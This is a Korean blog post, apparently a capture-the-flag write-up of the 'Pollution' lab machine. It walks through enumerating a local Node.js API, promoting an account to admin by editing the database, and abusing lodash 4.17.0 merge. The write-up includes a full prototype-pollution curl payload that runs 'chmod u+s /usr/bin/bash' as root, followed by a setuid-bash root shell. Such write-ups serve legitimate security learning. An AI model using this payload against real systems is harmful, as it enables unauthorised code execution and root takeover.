tcp        0      0 127.0.0.1:9000          0.0.0.0:*               LISTEN      1693/sh
tcp        0      0 127.0.0.1:3306          0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:6379            0.0.0.0:*               LISTEN      -
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -
tcp6       0      0 ::1:6379                :::*                    LISTEN      -
tcp6       0      0 :::80                   :::*                    LISTEN      -
tcp6       0      0 :::22                   :::*                    LISTEN      -

서비스 파악을 위해 바로 curl을 때려보니 API였다.

/

victor@pollution:~$ curl http://localhost:3000/
{"Status":"Ok","Message":"Read documentation from api in /documentation"}

/documentation

curl http://localhost:3000/documentation
{"Documentation":{"Routes":{"/":{"Methods":"GET","Params":null},"/auth/register":{"Methods":"POST","Params":{"username":"username","password":"password"}},"/auth/login":{"Methods":"POST","Params":{"username":"username","password":"password"}},"/client":{"Methods":"GET","Params":null},"/admin/messages":{"Methods":"POST","Params":{"id":"messageid"}},"/admin/messages/send":{"Methods":"POST","Params":{"text":"message text"}}}}

/register

curl -H "Content-type: application/json" -d '{"username":"juicemon","password":"pro123ject!"}' http://localhost:3000/auth/register

여기서 다시 mysql로 돌아가 pollution_api 테이블에 정보가 입력되었는지 확인해보니 API가 실행되어 users 테이블에 입력한 계정이 삽입되었다.

MariaDB [pollution_api]> select * from users;
select * from users;
+----+----------+-------------+-------+---------------------+---------------------+
| id | username | password    | role  | createdAt           | updatedAt           |
+----+----------+-------------+-------+---------------------+---------------------+
|  1 | juicemon | pro123ject! | user | 2023-06-02 05:08:23 | 2023-06-02 05:08:23 |
+----+----------+-------------+-------+---------------------+---------------------+

/login

victor@pollution:~/pollution_api$ curl -H "Content-type: application/json" -d '{"username":"juicemon","password":"pro123ject!"}' http://localhost:3000/auth/login
<d":"pro123ject!"}' http://localhost:3000/auth/login
{"Status":"Ok","Header":{"x-access-token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoianVpY2Vtb24iLCJpc19hdXRoIjp0cnVlLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE2ODU2OTU5OTksImV4cCI6MTY4NTY5OTU5OX0.YPQqLD8yxPg1-2DgAiXr5lkLFqzwy7lZ25xeFvNrM_Y"}}

/admin/messages/send

victor@pollution:~/pollution_api$ curl http://localhost:3000/admin/messages/send -H "Content-type: application/json" -H "x-access-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoianVpY2Vtb24iLCJpc19hdXRoIjp0cnVlLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE2ODU2OTU5OTksImV4cCI6MTY4NTY5OTU5OX0.YPQqLD8yxPg1-2DgAiXr5lkLFqzwy7lZ25xeFvNrM_Y" -d '{"text":"test"}'
<DgAiXr5lkLFqzwy7lZ25xeFvNrM_Y" -d '{"text":"test"}'
{"Status":"Error","Message":"You are not allowed"}

권한이 부족하여 message send 기능이 존재하지 않는다. 이를 우회해야하는것이라는 촉이 강하게 온다!

해당 nodejs 코드를 공격자 PC로컬로 옮겨서 소스코드 분석을 진행하니 pollution_api/routes/admin.js 코드에서 로그인 시 발급된 JWT를 검증하는데 그중 role이 admin인지 체크한다.

나는 DB접근도 가능하며 쿼리 실행까지 가능하다. 바로 DB로 달려가 pollution_api.users 테이블에 등록된 juicemon 계정의 role을 admin으로 수정한다.

MariaDB [pollution_api]> update users set role="admin" where id=1;
Query OK, 1 row affected (0.002 sec)
Rows matched: 1  Changed: 1  Warnings: 0

MariaDB [pollution_api]> select * from users;
select * from users;
+----+----------+-------------+-------+---------------------+---------------------+
| id | username | password    | role  | createdAt           | updatedAt           |
+----+----------+-------------+-------+---------------------+---------------------+
|  1 | juicemon | pro123ject! | admin | 2023-06-02 05:08:23 | 2023-06-02 05:08:23 |
+----+----------+-------------+-------+---------------------+---------------------+
1 row in set (0.001 sec)

이후 동일한 토큰을 이용하여 message send api를 호출하면 OK 응답을 받을 수 있다.

curl http://localhost:3000/admin/messages/send -H "Content-type: application/json" -H "x-access-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoianVpY2Vtb24iLCJpc19hdXRoIjp0cnVlLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE2ODU2OTU5OTksImV4cCI6MTY4NTY5OTU5OX0.YPQqLD8yxPg1-2DgAiXr5lkLFqzwy7lZ25xeFvNrM_Y" -d '{"text":"test"}'
{"Status":"Ok"}

Prototype Pollution (lodash)

어찌저찌해서 admin으로 권한상승까지 시켜뒀다. 이후 각 API를 처리하는 controller를 찾아 하나씩 확인하던 중 lodash라는 익숙한 패키지를 확인할 수 있었다.

여기서 Pollution이라는 머신명은 Prototype Pollution을 의미하는걸 눈치챘다.

소스코드 내 package.json에서 lodash 버전이 4.17.0인것을 보고 무조건 PP 공격을 진행해야된다는것을 알게됐다.

그 이유는 해당 버전에서 SNYK-JS-LODASH-608086 취약점이 존재하고 이전에 PP 공격에 관심이 많아서 자주 찾아봤었기 때문이다!

{
  "dependencies": {
    "express": "^4.18.1",
    "jsonwebtoken": "^8.5.1",
    "lodash": "^4.17.0",
    "mysql2": "^2.3.3",
    "sequelize": "^6.21.4"
  }
}

PP 공격을 위해 Json Merge 관련 코드가 존재하는 확인해보니 pollution_api/Messages_send.js 에서 lodash.marge를 사용한다.

const Message = require('../models/Message');
const { decodejwt } = require('../functions/jwt');
const _ = require('lodash');
const { exec } = require('child_process');

const messages_send = async(req,res)=>{
    const token = decodejwt(req.headers['x-access-token'])
    if(req.body.text){

        const message = {
            user_sent: token.user,
            title: "Message for admins",
        };

        _.merge(message, req.body);

        exec('/home/victor/pollution_api/log.sh log_message');

        Message.create({
            text: JSON.stringify(message),
            user_sent: token.user
        });

        return res.json({Status: "Ok"});

    }

    return res.json({Status: "Error", Message: "Parameter text not found"});
}

module.exports = { messages_send };

Privilege Escalation

또 다시 HackTricks의 Prototype Pollution to RCE를 참고하여 message send api를 호출할때 전달되는 json 데이터를 아래와 같이 chmod u+s /bin/bash를 실행하는 PP Payload가 포함된 데이터를 전송하였다.

victor@pollution:~/pollution_api$ curl http://localhost:3000/admin/messages/send -H "Content-type: application/json" -H "x-access-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoianVpY2Vtb24iLCJpc19hdXRoIjp0cnVlLCJyb2xlIjoiYWRtaW4iLCJpYXQiOjE2ODU2OTU5OTksImV4cCI6MTY4NTY5OTU5OX0.YPQqLD8yxPg1-2DgAiXr5lkLFqzwy7lZ25xeFvNrM_Y" -d '{"text":{"constructor":{"prototype":{"shell":"/proc/self/exe","argv0":"console.log(require(\"child_process\").execSync(\"chmod u+s /usr/bin/bash\").toString())//","NODE_OPTIONS":"--require /proc/self/cmdline"}}}}'
<,"NODE_OPTIONS":"--require /proc/self/cmdline"}}}}'
{"Status":"Ok"}

이후 /bin/bash 권한을 조회하니 정상적으로 chmod 명령이 root 권한으로 실행되었고 /bin/bash -p 트릭을 이용해서 루트 계정으로 권한 상승이 가능했다.

bash-5.1$ ls -al /bin/bash
-rwsr-xr-x 1 root root 1234376 Mar 27  2022 /bin/bash
bash-5.1$ /bin/bash -p
bash-5.1# id
uid=1002(victor) gid=1002(victor) euid=0(root) groups=1002(victor)

profile
블로그 이사 (https://juicemon-code.github.io/)

0개의 댓글